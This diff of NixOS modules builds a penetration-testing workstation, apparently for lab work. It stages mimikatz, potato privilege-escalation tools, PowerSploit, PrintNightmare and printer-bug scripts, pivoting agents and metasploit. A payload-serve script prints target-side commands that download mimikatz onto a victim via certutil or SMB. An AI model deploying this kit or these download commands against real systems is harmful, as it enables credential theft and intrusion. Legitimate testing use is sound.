+ # Copies the first match, and FAILS the build when nothing matches, so
+ # an upstream rename is a loud error rather than a missing payload you
+ # discover on a box at 2am.
+ pick() {
+ local dest="$1" root="$2"; shift 2
+ local pat f
+ for pat in "$@"; do
+ f=$(find -L "$root" -type f -name "$pat" 2>/dev/null | head -1)
+ if [ -n "$f" ]; then
+ install -D -m0644 "$f" "$dest"
+ return 0
+ fi
+ done
+ echo "payloads: no match for [$*] under $root" >&2
+ exit 1
+ }
+
+ mkdir -p $out/windows/amd64/{creds,agents,privesc/potato,ad} \
+ $out/linux/{amd64,arm64}/{agents,privesc} \
+ $out/macos/arm64/agents \
+ $out/scripts/{ad,printer,privesc}
+ ${lib.optionalString wantX86 "mkdir -p $out/windows/x86/{creds,agents,privesc}"}
+
+ ##### Windows x64 #####################################################
+ # Explicit paths, not a glob: a `find … | head -1` here would match
+ # Win32/mimikatz.exe first (alphabetically) and quietly stage the
+ # 32-bit build in the amd64 slot.
+ install -m0644 ${mimikatzNew}/share/windows/mimikatz/x64/mimikatz.exe \
+ $out/windows/amd64/creds/mimikatz-${mimikatzNewVer}.exe
+ ln -s mimikatz-${mimikatzNewVer}.exe $out/windows/amd64/creds/mimikatz.exe
+ install -m0644 ${p.mimikatzOld}/x64/mimikatz.exe \
+ $out/windows/amd64/creds/mimikatz-2.2.0-20210810.exe
+ install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimilove.exe \
+ $out/windows/amd64/creds/ 2>/dev/null || true
+ pick $out/windows/amd64/agents/ligolo-agent.exe ${winLigolo} 'ligolo-agent.exe' 'agent.exe'
+ pick $out/windows/amd64/agents/chisel.exe ${winChisel} 'chisel.exe'
+ install -m0644 ${p.peass}/windows/winPEASx64.exe $out/windows/amd64/privesc/
+ install -m0644 ${p.peass}/windows/winPEASany.exe $out/windows/amd64/privesc/
+
+ # The potato family. Which one works depends on the Windows build, so
+ # they all ship; GodPotato-NET* pick themselves by .NET version.
+ for f in ${p.potatoes}/*.exe; do
+ install -m0644 "$f" $out/windows/amd64/privesc/potato/
+ done
+
+ # The compiled C# arsenal, newest framework, 64-bit: Rubeus, SharpHound,
+ # Seatbelt, Certify, Whisker, SharpUp, SharpView, StandIn, SweetPotato,
+ # SharpPrinter, DeployPrinterNightmare…
+ cp -r ${p.sharpcollection}/NetFramework_4.7_x64/. $out/windows/amd64/ad/
+ chmod -R u+w $out/windows/amd64/ad
+
+ # Every framework/arch, for when 4.7 x64 will not run on the target.
+ mkdir -p $out/sharpcollection
+ cp -r ${p.sharpcollection}/. $out/sharpcollection/
+ chmod -R u+w $out/sharpcollection
+
+ ${lib.optionalString wantX86 ''
+ ##### Windows x86 ###################################################
+ install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimikatz.exe \
+ $out/windows/x86/creds/mimikatz-${mimikatzNewVer}.exe
+ ln -s mimikatz-${mimikatzNewVer}.exe $out/windows/x86/creds/mimikatz.exe
+ install -m0644 ${p.mimikatzOld}/Win32/mimikatz.exe \
+ $out/windows/x86/creds/mimikatz-2.2.0-20210810.exe
+ install -m0644 ${mimikatzNew}/share/windows/mimikatz/Win32/mimilove.exe \
+ $out/windows/x86/creds/
+ install -m0644 ${p.peass}/windows/winPEASx86.exe $out/windows/x86/privesc/
+ install -m0644 ${p.potatoes}/PrintSpoofer32.exe $out/windows/x86/privesc/
+ install -m0644 ${p.potatoes}/GodPotato-NET2.exe $out/windows/x86/privesc/
+ cp -r ${p.sharpcollection}/NetFramework_4.7_x86/. $out/windows/x86/
+ chmod -R u+w $out/windows/x86
+ ''}
+
+ ##### Linux ###########################################################
+ pick $out/linux/amd64/agents/ligolo-agent ${pkgs.ligolo-ng} 'ligolo-agent'
+ pick $out/linux/amd64/agents/chisel ${pkgs.chisel} 'chisel'
+ pick $out/linux/arm64/agents/ligolo-agent ${armLigolo} 'ligolo-agent' 'agent'
+ pick $out/linux/arm64/agents/chisel ${armChisel} 'chisel'
+ install -m0755 ${p.peass}/linux/linpeas.sh $out/linux/amd64/privesc/
+ install -m0755 ${p.lse}/share/lse/lse.sh $out/linux/amd64/privesc/
+ install -m0755 ${lib.getExe pkgs.pspy} $out/linux/amd64/privesc/pspy
+
+ ##### macOS ###########################################################
+ pick $out/macos/arm64/agents/ligolo-agent ${macLigolo} 'ligolo-agent' 'agent'
+ pick $out/macos/arm64/agents/chisel ${macChisel} 'chisel'
+
+ ##### Scripts #########################################################
+ # PowerView/PowerUp and the rest of PowerSploit, from nixpkgs.
+ cp -r ${pkgs.powersploit}/share/powersploit/. $out/scripts/ad/ 2>/dev/null \
+ || cp -r ${pkgs.powersploit}/. $out/scripts/ad/
+ chmod -R u+w $out/scripts/ad
+ cp -r ${p.nishang}/share/nishang $out/scripts/ad/nishang
+ chmod -R u+w $out/scripts/ad/nishang
+
+ # Printer-bug family. printerbug.py coerces auth over MS-RPRN; the
+ # SpoolSample.exe equivalent is SharpPrinter.exe in windows/amd64/ad.
+ install -m0755 ${p.krbrelayx}/share/krbrelayx/printerbug.py $out/scripts/printer/
+ install -m0644 ${p.printnightmare}/share/printnightmare/CVE-2021-1675.py $out/scripts/printer/
+
+ install -m0755 ${p.peass}/linux/linpeas.sh $out/scripts/privesc/
+ install -m0755 ${p.lse}/share/lse/lse.sh $out/scripts/privesc/
+ install -m0644 ${p.efspotatoSource}/EfsPotato.cs $out/scripts/privesc/
+
+ # A map of the tree, so `payload-serve --list` is readable and a
+ # directory listing on the target side makes sense.
+ ${pkgs.tree}/bin/tree -a --noreport $out > $out/INVENTORY.txt || true
+ '';
+ mkServe =
+ { pkgs, tree }:
+ pkgs.writeShellScriptBin "payload-serve" ''
+ set -uo pipefail
+ PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.iproute2 pkgs.gawk pkgs.gnugrep ]}:$PATH
+ TREE=${tree}
+
+ # Review Focus #2: bind to the tunnel, never to everything. Serving the
+ # payload tree on a café network because the VPN was down is a real way
+ # to hand your toolkit to strangers, so this fails closed.
+ tun_addr() {
+ local i a
+ for i in $(ip -br link show type tun 2>/dev/null | awk '{print $1}'); do
+ a=$(ip -4 -br addr show dev "$i" 2>/dev/null | awk '{print $3}' | cut -d/ -f1)
+ [ -n "''${a:-}" ] && { printf '%s' "$a"; return 0; }
+ done
+ return 1
+ }
+
+ usage() { echo "usage: payload-serve [port] | --smb | --list"; }
+
+ case "''${1:-}" in
+ --list) exec cat $TREE/INVENTORY.txt ;;
+ -h|--help) usage; exit 0 ;;
+ esac
+
+ if ! addr=$(tun_addr); then
+ echo "payload-serve: no VPN interface has an address — refusing to start." >&2
+ echo "payload-serve: it would otherwise bind every interface and expose" >&2
+ echo " $TREE to the local network." >&2
+ echo "payload-serve: bring the tunnel up first: htbvpn up <profile>" >&2
+ exit 2
+ fi
+
+ case "''${1:-}" in
+ --smb)
+ echo "payload-serve: SMB share 'share' on $addr ($TREE)"
+ echo " target: copy \\\\$addr\\share\\windows\\amd64\\creds\\mimikatz.exe ."
+ exec ${pkgs.python3Packages.impacket}/bin/smbserver.py \
+ -ip "$addr" -smb2support share "$TREE" ;;
+ ""|[0-9]*)
+ port="''${1:-80}"
+ echo "payload-serve: http://$addr:$port/ ($TREE)"
+ echo " target: certutil -urlcache -f http://$addr:$port/windows/amd64/creds/mimikatz.exe mimikatz.exe"
+ exec ${pkgs.python3}/bin/python3 -m http.server "$port" --bind "$addr" --directory "$TREE" ;;
+ *) usage >&2; exit 2 ;;
+ esac
+ '';
+in
+{
+ flake.nixosModules.pentest-payloads =
+ { config, pkgs, lib, ... }:
+ let
+ cfg = config.daemon.pentest;
+ on = cfg.enable && cfg.payloads.enable;
+ tree = mkTree {
+ inherit pkgs;
+ windowsArches = cfg.payloads.windowsArches;
+ };
+ payload-serve = mkServe { inherit pkgs tree; };
+
+ in
+ {
+ options.daemon.pentest.payloads.enable =
+ lib.mkEnableOption "the staged payload tree and payload-serve" // { default = true; };
+
+ config = lib.mkIf on {
+ environment.systemPackages = [ payload-serve ];
+ environment.sessionVariables.PAYLOADS = lib.mkForce "${tree}";
+ };
+ };
+
+ perSystem =
+ { pkgs, ... }:
+ {
+ checks.pentest-payloads =
+ let
+ tree = mkTree {
+ inherit pkgs;
+ windowsArches = [ "amd64" "x86" ];
+ };
+ # The same script the system installs, from the same helper, so the
+ # fail-closed behaviour under test is the real one.
+ serve = [ (mkServe { inherit pkgs tree; }) ];
+ in
+ pkgs.runCommand "pentest-payloads-check"
+ { nativeBuildInputs = [ pkgs.file ] ++ serve; }
+ ''
+ set -euo pipefail
+ T=${tree}
+
+ # 1. Structure: every path the cheat card promises exists.
+ for f in \
+ windows/amd64/creds/mimikatz.exe \
+ windows/amd64/creds/mimikatz-2.2.0-20210810.exe \
+ windows/amd64/agents/ligolo-agent.exe \
+ windows/amd64/agents/chisel.exe \
+ windows/amd64/privesc/winPEASx64.exe \
+ windows/amd64/privesc/potato/JuicyPotato.exe \
+ windows/amd64/privesc/potato/GodPotato-NET4.exe \
+ windows/amd64/privesc/potato/PrintSpoofer64.exe \
+ windows/amd64/ad/Rubeus.exe \
+ windows/amd64/ad/SharpHound.exe \
+ windows/amd64/ad/Seatbelt.exe \
+ windows/amd64/ad/Certify.exe \
+ windows/amd64/ad/SweetPotato.exe \
+ windows/amd64/ad/SharpPrinter.exe \
+ windows/x86/creds/mimikatz.exe \
+ linux/amd64/agents/ligolo-agent \
+ linux/amd64/agents/chisel \
+ linux/amd64/privesc/linpeas.sh \
+ linux/amd64/privesc/pspy \
+ linux/arm64/agents/ligolo-agent \
+ macos/arm64/agents/ligolo-agent \
+ scripts/printer/printerbug.py \
+ scripts/printer/CVE-2021-1675.py \
+ scripts/privesc/EfsPotato.cs \
+ scripts/ad/nishang \
+ INVENTORY.txt
+ do
+ [ -e "$T/$f" ] || { echo "payloads: missing $f" >&2; exit 1; }
+ done
+
+ # 2. The binaries are really for the architecture they claim.
+ expect() { # expect <file> <substring of `file` output>
+ local got; got=$(file -bL "$T/$1")
+ case "$got" in
+ *"$2"*) ;;
+ *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;;
+ esac
+ }
+ expect windows/amd64/creds/mimikatz.exe 'PE32+'
+ expect windows/amd64/agents/ligolo-agent.exe 'PE32+'
+ expect windows/amd64/agents/chisel.exe 'PE32+'
+ expect windows/x86/creds/mimikatz.exe 'PE32 '
+ expect linux/amd64/agents/ligolo-agent 'ELF 64-bit'
+ expect linux/arm64/agents/ligolo-agent 'ARM aarch64'
+
+ # 3. Review Focus #2: with no tun device (there is none in this
+ # sandbox) payload-serve must refuse, and say how to fix it.
+ # NB: not a variable called `out` — that is the derivation's own
+ # output path, and clobbering it makes the final redirect ambiguous.
+ if serve_out=$(payload-serve 8000 2>&1); then
+ echo "payloads: payload-serve started with no VPN up — it must not" >&2
+ exit 1
+ fi
+ printf '%s' "$serve_out" | grep -q 'refusing to start' \
+ || { echo "payloads: refusal did not explain itself: $serve_out" >&2; exit 1; }
+ printf '%s' "$serve_out" | grep -q 'htbvpn up' \
+ || { echo "payloads: refusal did not name htbvpn: $serve_out" >&2; exit 1; }
+
+ echo "pentest-payloads: tree, architectures and fail-closed serve all ok" > $out
+ '';
+ };
+}
diff --git a/modules/features/pentest/pivot.nix b/modules/features/pentest/pivot.nix
@@ -0,0 +1,55 @@
+# modules/features/pentest/pivot.nix — getting onto the next subnet.
+#
+# ligolo-ng is the one to reach for first: it gives a real TUN interface, so
+# every tool works unmodified instead of being wrapped in proxychains.
+# `ligolo-proxy` runs here, `ligolo-agent` goes on the target ($PAYLOADS has it
+# built for Windows, Linux and macOS — see payloads.nix).
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "pivot";
+ description = "tunnelling, port forwarding and proxying";
+
+ packages = pkgs: with pkgs; [
+ ligolo-ng # ligolo-proxy, ligolo-agent
+ chisel
+ socat
+ # Must be `proxychains`, matching programs.proxychains.package's default:
+ # pkgs.proxychains and pkgs.proxychains-ng BOTH ship bin/proxychains4, and
+ # two different paths owning one name is a profile collision. Listed here
+ # as well as enabled below so the category check can see the binary.
+ proxychains
+ sshuttle
+ gost
+ frp # frpc, frps
+ iodine
+ pingtunnel
+ stunnel
+ wireguard-tools # wg
+ openvpn
+ ];
+
+ expectedBins = [
+ "ligolo-proxy" "ligolo-agent" "chisel" "socat" "sshuttle"
+ "gost" "frpc" "frps" "iodine" "stunnel" "wg" "openvpn"
+ "proxychains4" # from programs.proxychains below
+ ];
+
+ extraConfig = { ... }: {
+ # /etc is read-only on NixOS, so the Kali habit of editing
+ # /etc/proxychains.conf by hand does not work. This option is what makes
+ # proxychains usable at all: it generates the file from Nix.
+ programs.proxychains = {
+ enable = true;
+ proxyDNS = true;
+ quietMode = false;
+ # ligolo-ng needs no proxy at all; this default is for the chisel/ssh -D
+ # case, where 1080 is the conventional local SOCKS port.
+ proxies.socks = {
+ enable = true;
+ type = "socks5";
+ host = "127.0.0.1";
+ port = 1080;
+ };
+ };
+ };
+}
diff --git a/modules/features/pentest/python.nix b/modules/features/pentest/python.nix
@@ -7,30 +7,109 @@
packages = pkgs:
let
- aliases = (import ./_aliases.nix { inherit lib pkgs; }) {
- package = pkgs.python3Packages.impacket;
- prefix = "impacket";
- reservedFrom = [ pkgs.coreutils pkgs.iputils pkgs.samba pkgs.util-linux ];
- extraReserved = [ "mimikatz" ];
- };
+ inherit (import ./_impacket.nix { inherit lib pkgs; }) impacket aliases;
+
+ # Libraries, for importing. Applications are NOT installed from this env:
+ # python3.withPackages links every package's console scripts into the
+ # env's bin/, so an app that is ALSO installed standalone (certipy in
+ # ad.nix, bloodhound-py, pypykatz…) gives two store paths owning one
+ # name, which is a profile collision that stops the system building.
+ # checks.pentest-collisions found exactly that, twice.
+ env = pkgs.python3.withPackages (ps: with ps; [
+ impacket
+ certipy
+ dploot
+ masky
+ ldapdomaindump
+ pypykatz
+ bloodyad
+ lsassy
+ minikerberos
+ aiowinreg
+ dnspython
+ scapy
+ pwntools
+ pycryptodomex
+ requests
+ rich
+ ]);
+
+ # Spec C2's discovery command: `impacket` alone lists the 70 scripts
+ # (through fzf when there is a terminal), `impacket <name>` runs one.
+ # Tab-completing `impacket-` does most of this already, but this is the
+ # entry point when you cannot remember whether it is GetUserSPNs or
+ # getuserspns.
+ impacket-cmd = pkgs.writeShellScriptBin "impacket" ''
+ set -uo pipefail
+ names() {
+ ${pkgs.coreutils}/bin/ls -1 ${aliases}/bin \
+ | ${pkgs.gnugrep}/bin/grep '^impacket-' \
+ | ${pkgs.gnused}/bin/sed 's/^impacket-//' \
+ | ${pkgs.coreutils}/bin/sort
+ }
+ case "''${1:-}" in
+ -l|--list) names; exit 0 ;;
+ -h|--help)
+ echo "usage: impacket [<script>] [args…] (no script: pick one)"
+ echo " impacket --list"
+ echo " every script is also a command: impacket-<script>"
+ exit 0 ;;
+ esac
+ if [ "$#" -eq 0 ]; then
+ if [ -t 0 ] && [ -t 1 ]; then
+ sel=$(names | ${pkgs.fzf}/bin/fzf --prompt='impacket › ' \
+ --preview='${aliases}/bin/impacket-{} --help 2>&1 | head -40' \
+ --preview-window='right,65%,border-left,wrap') || exit 0
+ [ -n "''${sel:-}" ] || exit 0
+ exec ${aliases}/bin/impacket-"$sel"
+ fi
+ names
+ exit 0
+ fi
+ script="$1"; shift
+ if [ ! -x "${aliases}/bin/impacket-$script" ]; then
+ echo "impacket: no script '$script'" >&2
+ echo "try: impacket --list" >&2
+ exit 2
+ fi
+ exec ${aliases}/bin/impacket-"$script" "$@"
+ '';
+
+ # So only ONE name is exported from the env: the interpreter. Any offensive script you
+ # download runs with `pentest-python foo.py` and its imports resolve, with
+ # no venv and no collisions.
+ pentest-python = pkgs.runCommand "pentest-python"
+ {
+ meta = {
+ description = "Python with the offensive library set importable";
+ mainProgram = "pentest-python";
+ };
+ }
+ ''
+ mkdir -p $out/bin
+ ln -s ${env}/bin/python3 $out/bin/pentest-python
+ '';
in
[
- (pkgs.python3.withPackages (ps: with ps; [
- impacket certipy dploot masky bloodhound ldapdomaindump
- pypykatz bloodyad lsassy minikerberos aiowinreg dnspython
- scapy pwntools pycryptodomex requests rich
- ]))
- pkgs.python3Packages.impacket
- # Standalone, not in the shared env: pywerview is the one tool that pulls
- # ldap3-bleeding-edge-2.10.1.1338 while every other tool here pulls
- # ldap3-2.9.1, and buildEnv cannot hold both. Its own wrapper carries the
- # bleeding-edge copy, so `pywerview` works; only `pentest-python -c
- # "import pywerview"` does not. This is the fallback spec C2 describes.
+ pentest-python
+ impacket-cmd # `impacket` / `impacket --list`
+ impacket # the 70 example scripts, as `secretsdump.py` etc.
+ aliases # ...and as `secretsdump`, collision-guarded
+ # Standalone, not in the env: pywerview is the one tool pulling
+ # ldap3-bleeding-edge while everything else pulls ldap3-2.9.1, and
+ # buildEnv cannot hold both. Spec C2's documented fallback.
pkgs.python3Packages.pywerview
- aliases
];
- expectedBins = [ "secretsdump.py" "secretsdump" "GetUserSPNs" "pywerview" ];
+ expectedBins = [
+ "pentest-python"
+ "secretsdump.py" # impacket's own name
+ "secretsdump" # the suffix-free alias
+ "GetUserSPNs"
+ "impacket" # the discovery command
+ "impacket-split" # held back from the bare name, reachable prefixed
+ "pywerview"
+ ];
# Review Focus #1. environment.systemPackages merges every package into ONE
# profile with buildEnv, so two packages owning bin/split is a collision, not
@@ -42,12 +121,7 @@
probe = pkgs.buildEnv {
name = "pentest-python-profile-probe";
paths = [
- ((import ./_aliases.nix { inherit lib pkgs; }) {
- package = pkgs.python3Packages.impacket;
- prefix = "impacket";
- reservedFrom = [ pkgs.coreutils pkgs.iputils pkgs.samba pkgs.util-linux ];
- extraReserved = [ "mimikatz" ];
- })
+ (import ./_impacket.nix { inherit lib pkgs; }).aliases
pkgs.coreutils
pkgs.iputils
pkgs.samba
diff --git a/modules/features/pentest/reversing.nix b/modules/features/pentest/reversing.nix
@@ -0,0 +1,33 @@
+# modules/features/pentest/reversing.nix — binary analysis and exploit dev.
+# Off by default. `daemon.pentest.reversing.enable = true;`
+#
+# The standalone `checksec` package is deliberately NOT here: pwntools already
+# installs bin/checksec, and two packages owning the same name is a profile
+# collision that stops the system building (same class of bug as the impacket
+# aliases — see _aliases.nix). pwntools' version is the one you get.
+#
+# ghidra and cutter are windowed; they live in gui.nix.
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "reversing";
+ description = "disassembly, decompilation and exploit development";
+ default = false;
+
+ packages = pkgs: with pkgs; [
+ radare2 # `r2`
+ rizin
+ gef # gdb extension
+ gdb
+ pwntools # pwn, asm, disasm, cyclic, checksec, …
+ one_gadget
+ pwninit
+ flare-floss # `floss`
+ patchelf
+ binutils
+ ];
+
+ expectedBins = [
+ "r2" "rizin" "gef" "gdb" "asm" "disasm" "cyclic" "checksec"
+ "one_gadget" "pwninit" "floss" "patchelf" "objdump" "readelf"
+ ];
+}
diff --git a/modules/features/pentest/shells.nix b/modules/features/pentest/shells.nix
@@ -0,0 +1,32 @@
+# modules/features/pentest/shells.nix — getting a shell and keeping it, plus
+# moving files onto the target.
+#
+# freerdp provides `xfreerdp`, `sdl-freerdp` and `wlfreerdp`. (An earlier
+# version of this module shipped an `xfreerdp` wrapper around sdl-freerdp,
+# written on the mistaken belief that FreeRDP 3 had dropped xfreerdp — it has
+# not. The wrapper then collided with the real binary, which is how
+# checks.pentest-collisions caught it.)
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "shells";
+ description = "payloads, listeners, RDP, file transfer";
+
+ packages = pkgs:
+ (with pkgs; [
+ metasploit # msfconsole, msfvenom
+ msfpc
+ powershell # `pwsh`
+ pwncat
+ rlwrap
+ updog
+ miniserve
+ freerdp # xfreerdp, sdl-freerdp, wlfreerdp
+ remmina
+ upx
+ ]);
+
+ expectedBins = [
+ "msfconsole" "msfvenom" "msfpc" "pwsh" "pwncat" "rlwrap"
+ "updog" "miniserve" "sdl-freerdp" "wlfreerdp" "xfreerdp" "upx"
+ ];
+}
diff --git a/modules/features/pentest/time.nix b/modules/features/pentest/time.nix
@@ -0,0 +1,283 @@
+# modules/features/pentest/time.nix — clock skew, on purpose and reversibly.
+#
+# Kerberos rejects a ticket request when the clock is more than five minutes
+# off the KDC, so against an AD box the first fix is usually to match the DC's
+# clock. On NixOS that fights the system: systemd-timesyncd is enabled by
+# default and will quietly put the clock back.
+#
+# `htb-time` is the root half (this file); `htbtime` is the user-facing half in
+# modules/home/htb.nix, exactly as fan-ec/fan are split in
+# modules/hosts/laptop/fan-cli.nix and modules/home/fan.nix.
+#
+# htb-time <host> record what time sync looks like now, turn it off, and
+# step the clock to <host>
+# htb-time off put back precisely what was recorded, then resync
+# htb-time status current offset and whether we are holding a skew
+#
+# Two things it refuses to do quietly:
+# * leave you wondering why TLS broke. A large skew makes certificates look
+# not-yet-valid or expired, so `nix`, `git` and anything HTTPS start failing.
+# It says so, every time.
+# * leave the clock unmanaged. If the state file is missing or unreadable when
+# `off` runs, it restores the NixOS default (NTP on) rather than doing
+# nothing — and a reboot would do that anyway, so a forgotten `off` cannot
+# strand the machine.
+{ lib, self, ... }:
+{
+ flake.nixosModules.pentest-time =
+ { config, pkgs, lib, ... }:
+ let
+ on = config.daemon.pentest.enable;
+
+ htb-time = pkgs.writeShellScriptBin "htb-time" ''
+ set -uo pipefail
+ [ "$(id -u)" = 0 ] || { echo "htb-time: run as root (htbtime does that for you)" >&2; exit 1; }
+ PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.systemd pkgs.gnugrep pkgs.gawk pkgs.gnused ]}:$PATH
+
+ NTPDATE=${pkgs.ntp}/bin/ntpdate
+ SNTP=${pkgs.ntp}/bin/sntp
+ CHRONYD=${pkgs.chrony}/bin/chronyd
+ DIR=/var/lib/htb-time
+ STATE=$DIR/state
+
+ # Units that would fight a manual clock. Only ones that exist are touched.
+ UNITS="systemd-timesyncd.service chronyd.service chrony.service ntpd.service"
+
+ unit_exists() { systemctl cat "$1" >/dev/null 2>&1; }
+ ntp_enabled() { timedatectl show -p NTP --value 2>/dev/null || echo unknown; }
+
+ save_state() {
+ mkdir -p "$DIR"
+ {
+ echo "ntp=$(ntp_enabled)"
+ for u in $UNITS; do
+ if unit_exists "$u"; then
+ echo "unit=$u:$(systemctl is-active "$u" 2>/dev/null || echo inactive)"
+ fi
+ done
+ } > "$STATE"
+ }
+
+ stop_competitors() {
+ for u in $UNITS; do
+ if unit_exists "$u" && systemctl is-active --quiet "$u" 2>/dev/null; then
+ echo " stopping $u"
+ systemctl stop "$u" || true
+ fi
+ done
+ timedatectl set-ntp false 2>/dev/null || true
+ }
+
+ warn_tls() {
+ cat >&2 <<'EOF'
+
+ htb-time: the clock is now deliberately wrong for this machine.
+ TLS certificate validation compares against it, so `nix`, `git`, curl
+ and anything else over HTTPS may start failing while this is held.
+ Put it back with: htbtime off
+ EOF
+ }
+
+ offset_against() { # best-effort, read-only
+ $SNTP "$1" 2>/dev/null | ${pkgs.gnugrep}/bin/grep -oE '^[+-][0-9]+\.[0-9]+' | head -1
+ }
+
+ case "''${1:-status}" in
+ off)
+ if [ ! -r "$STATE" ]; then
+ # Review Focus #3: never leave the clock unmanaged.
+ echo "htb-time: no saved state at $STATE (nothing to restore, or it was lost)." >&2
+ echo "htb-time: restoring the NixOS default instead: NTP on." >&2
+ timedatectl set-ntp true 2>/dev/null || true
+ unit_exists systemd-timesyncd.service && systemctl start systemd-timesyncd.service || true
+ echo "htb-time: NTP enabled, clock is managed again."
+ exit 0
+ fi
+
+ want_ntp=$(${pkgs.gnugrep}/bin/grep -m1 '^ntp=' "$STATE" | cut -d= -f2)
+ if [ "$want_ntp" = "yes" ] || [ -z "''${want_ntp:-}" ] || [ "$want_ntp" = "unknown" ]; then
+ timedatectl set-ntp true 2>/dev/null || true
+ else
+ timedatectl set-ntp false 2>/dev/null || true
+ fi
+
+ ${pkgs.gnugrep}/bin/grep '^unit=' "$STATE" 2>/dev/null | sed 's/^unit=//' | while IFS=: read -r u st; do
+ if [ "$st" = "active" ]; then
+ unit_exists "$u" && systemctl start "$u" 2>/dev/null || true
+ fi
+ done
+
+ rm -f "$STATE"
+ echo "htb-time: restored (NTP=$(ntp_enabled)); the clock is managed again."
+ exit 0
+ ;;
+
+ status)
+ if [ -r "$STATE" ]; then
+ echo "htb-time: HOLDING a manual skew (state $STATE)"
+ sed 's/^/ /' "$STATE"
+ echo " release with: htbtime off"
+ else
+ echo "htb-time: not holding a skew"
+ fi
+ echo " NTP=$(ntp_enabled) now=$(date -Is)"
+ # Explicit: a consumer like `htb-time status | grep -q x` exits as
+ # soon as it matches, so the last echo takes EPIPE and would
+ # otherwise become this script's exit status.
+ exit 0
+ ;;
+
+ -h|--help)
+ echo "usage: htb-time <host> | off | status"
+ ;;
+
+ *)
+ target="$1"
+ echo "htb-time: syncing this machine's clock to $target"
+ [ -r "$STATE" ] || save_state
+ stop_competitors
+
+ if $NTPDATE -u "$target" 2>&1 | sed 's/^/ ntpdate: /'; then
+ echo "htb-time: clock stepped to $target (now $(date -Is))"
+ warn_tls
+ exit 0
+ fi
+
+ echo " ntpdate failed; trying chronyd -q" >&2
+ if $CHRONYD -q "server $target iburst maxdelay 10" 2>&1 | sed 's/^/ chronyd: /'; then
+ echo "htb-time: clock stepped to $target (now $(date -Is))"
+ warn_tls
+ exit 0
+ fi
+
+ # Deliberately leaves NTP off (spec C6: do not silently half-apply),
+ # but says so loudly and names the way back.
+ echo "htb-time: could not get the time from $target." >&2
+ echo "htb-time: NTP is still DISABLED and the state is saved." >&2
+ echo "htb-time: either retry, or run 'htbtime off' to put sync back." >&2
+ exit 1
+ ;;
+ esac
+ '';
+ in
+ {
+ config = lib.mkIf on {
+ environment.systemPackages = [ htb-time pkgs.ntp pkgs.chrony ];
+ systemd.tmpfiles.rules = [ "d /var/lib/htb-time 0755 root root - -" ];
+
+ # Same shape as fan-cli.nix: one fixed store script, wheel only.
+ security.sudo.extraRules = [
+ {
+ groups = [ "wheel" ];
+ commands = [
+ { command = "/run/current-system/sw/bin/htb-time"; options = [ "NOPASSWD" ]; }
+ ];
+ }
+ ];
+ };
+ };
+
+ perSystem =
+ { pkgs, ... }:
+ {
+ checks.pentest-time-vm = pkgs.testers.runNixOSTest {
+ name = "pentest-time";
+
+ nodes = {
+ # Stands in for the DC whose clock we chase. chrony rather than
+ # ntpd: ntpd with a local-clock fudge needs minutes before it will
+ # answer as authoritative, so ntpdate finds "no server suitable" and
+ # the test hangs. chrony's `local stratum 10` serves immediately.
+ dc = {
+ services.chrony = {
+ enable = true;
+ extraConfig = ''
+ # `local stratum 10` makes chronyd answer as synchronised even
+ # though this node has no upstream source, which is the whole
+ # point of a stand-in DC. Without it ntpdate reports "no server
+ # suitable for synchronization". NOT `orphan`: that only
+ # activates once every other source is unreachable, which left
+ # the server silent.
+ local stratum 10
+ allow all
+ '';
+ };
+ networking.firewall.allowedUDPPorts = [ 123 ];
+ };
+
+ machine = { lib, ... }: {
+ imports = [
+ self.nixosModules.pentest-options
+ self.nixosModules.pentest-time
+ ];
+ daemon.pentest.enable = true;
+ # The test driver leaves time sync off, which would make the
+ # baseline NTP=no and the round-trip assertion vacuous. The real
+ # machine has timesyncd on, so say so explicitly: that is the
+ # state htb-time has to record and put back.
+ # mkForce: the NixOS test driver switches time sync OFF for its
+ # nodes, which is exactly the state this test must not start from.
+ services.timesyncd.enable = lib.mkForce true;
+ _module.args.user = "daemonsec";
+ users.users.daemonsec = {
+ isNormalUser = true;
+ extraGroups = [ "wheel" ];
+ };
+ };
+ };
+
+ testScript = ''
+ start_all()
+ dc.wait_for_unit("chronyd.service")
+ machine.wait_for_unit("multi-user.target")
+
+ # Do not proceed until the DC will actually answer, otherwise a
+ # failure here is indistinguishable from a bug in htb-time.
+ machine.wait_until_succeeds(
+ "${pkgs.ntp}/bin/sntp -t 2 dc >/dev/null 2>&1 "
+ "|| ${pkgs.ntp}/bin/ntpdate -q -t 2 dc >/dev/null 2>&1",
+ timeout=120,
+ )
+
+ # Baseline: NixOS manages the clock.
+ machine.wait_for_unit("systemd-timesyncd.service")
+ before = machine.succeed("timedatectl show -p NTP --value").strip()
+ assert before == "yes", f"expected NTP managed at boot, got {before!r}"
+ machine.succeed("htb-time status | grep -q 'not holding a skew'")
+
+ # Hold a skew against the DC.
+ machine.succeed("htb-time dc")
+ machine.succeed("test -r /var/lib/htb-time/state")
+ held = machine.succeed("timedatectl show -p NTP --value").strip()
+ assert held == "no", f"NTP should be off while holding a skew, got {held!r}"
+ machine.fail("systemctl is-active systemd-timesyncd.service")
+ machine.succeed("htb-time status | grep -q HOLDING")
+
+ # Release: must match the baseline exactly, and clear the state.
+ machine.succeed("htb-time off")
+ after = machine.succeed("timedatectl show -p NTP --value").strip()
+ assert after == before, f"off must restore NTP={before!r}, got {after!r}"
+ machine.fail("test -e /var/lib/htb-time/state")
+
+ # Review Focus #3: `off` with the state file gone must still leave the
+ # clock managed, and must not fail.
+ machine.succeed("htb-time dc")
+ machine.succeed("rm -f /var/lib/htb-time/state")
+ out = machine.succeed("htb-time off 2>&1")
+ assert "NTP on" in out or "managed again" in out, out
+ recovered = machine.succeed("timedatectl show -p NTP --value").strip()
+ assert recovered == "yes", f"expected NTP restored to yes, got {recovered!r}"
+
+ # An unreachable host fails loudly, keeps the state, and names the way back.
+ machine.succeed("htb-time off || true")
+ err = machine.fail("htb-time 192.0.2.123 2>&1")
+ assert "htbtime off" in err, err
+ machine.succeed("test -r /var/lib/htb-time/state")
+ machine.succeed("htb-time off")
+
+ # The user half needs no password.
+ machine.succeed("su -l daemonsec -c 'sudo -n htb-time status'")
+ '';
+ };
+ };
+}
diff --git a/modules/features/pentest/update.nix b/modules/features/pentest/update.nix
